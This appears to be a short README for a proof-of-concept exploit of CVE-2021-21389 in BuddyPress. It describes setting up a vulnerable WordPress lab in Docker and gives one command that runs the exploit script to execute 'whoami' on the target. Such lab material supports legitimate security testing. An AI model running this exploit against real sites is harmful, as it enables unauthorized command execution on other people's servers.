Build the vulnerable WordPress and BuddyPress environment using Docker.
Build and run the mariaDB container.
Ensure the two containers run on the same network.
ex) docker network create wordpress_network
docker network connect wordpress_network wordpress_app
docker network connect wordpress_network wordpress_db
Execute the payload with the following command:
python3 CVE-2021-21389.py http://localhost:8080 test 1234 whoami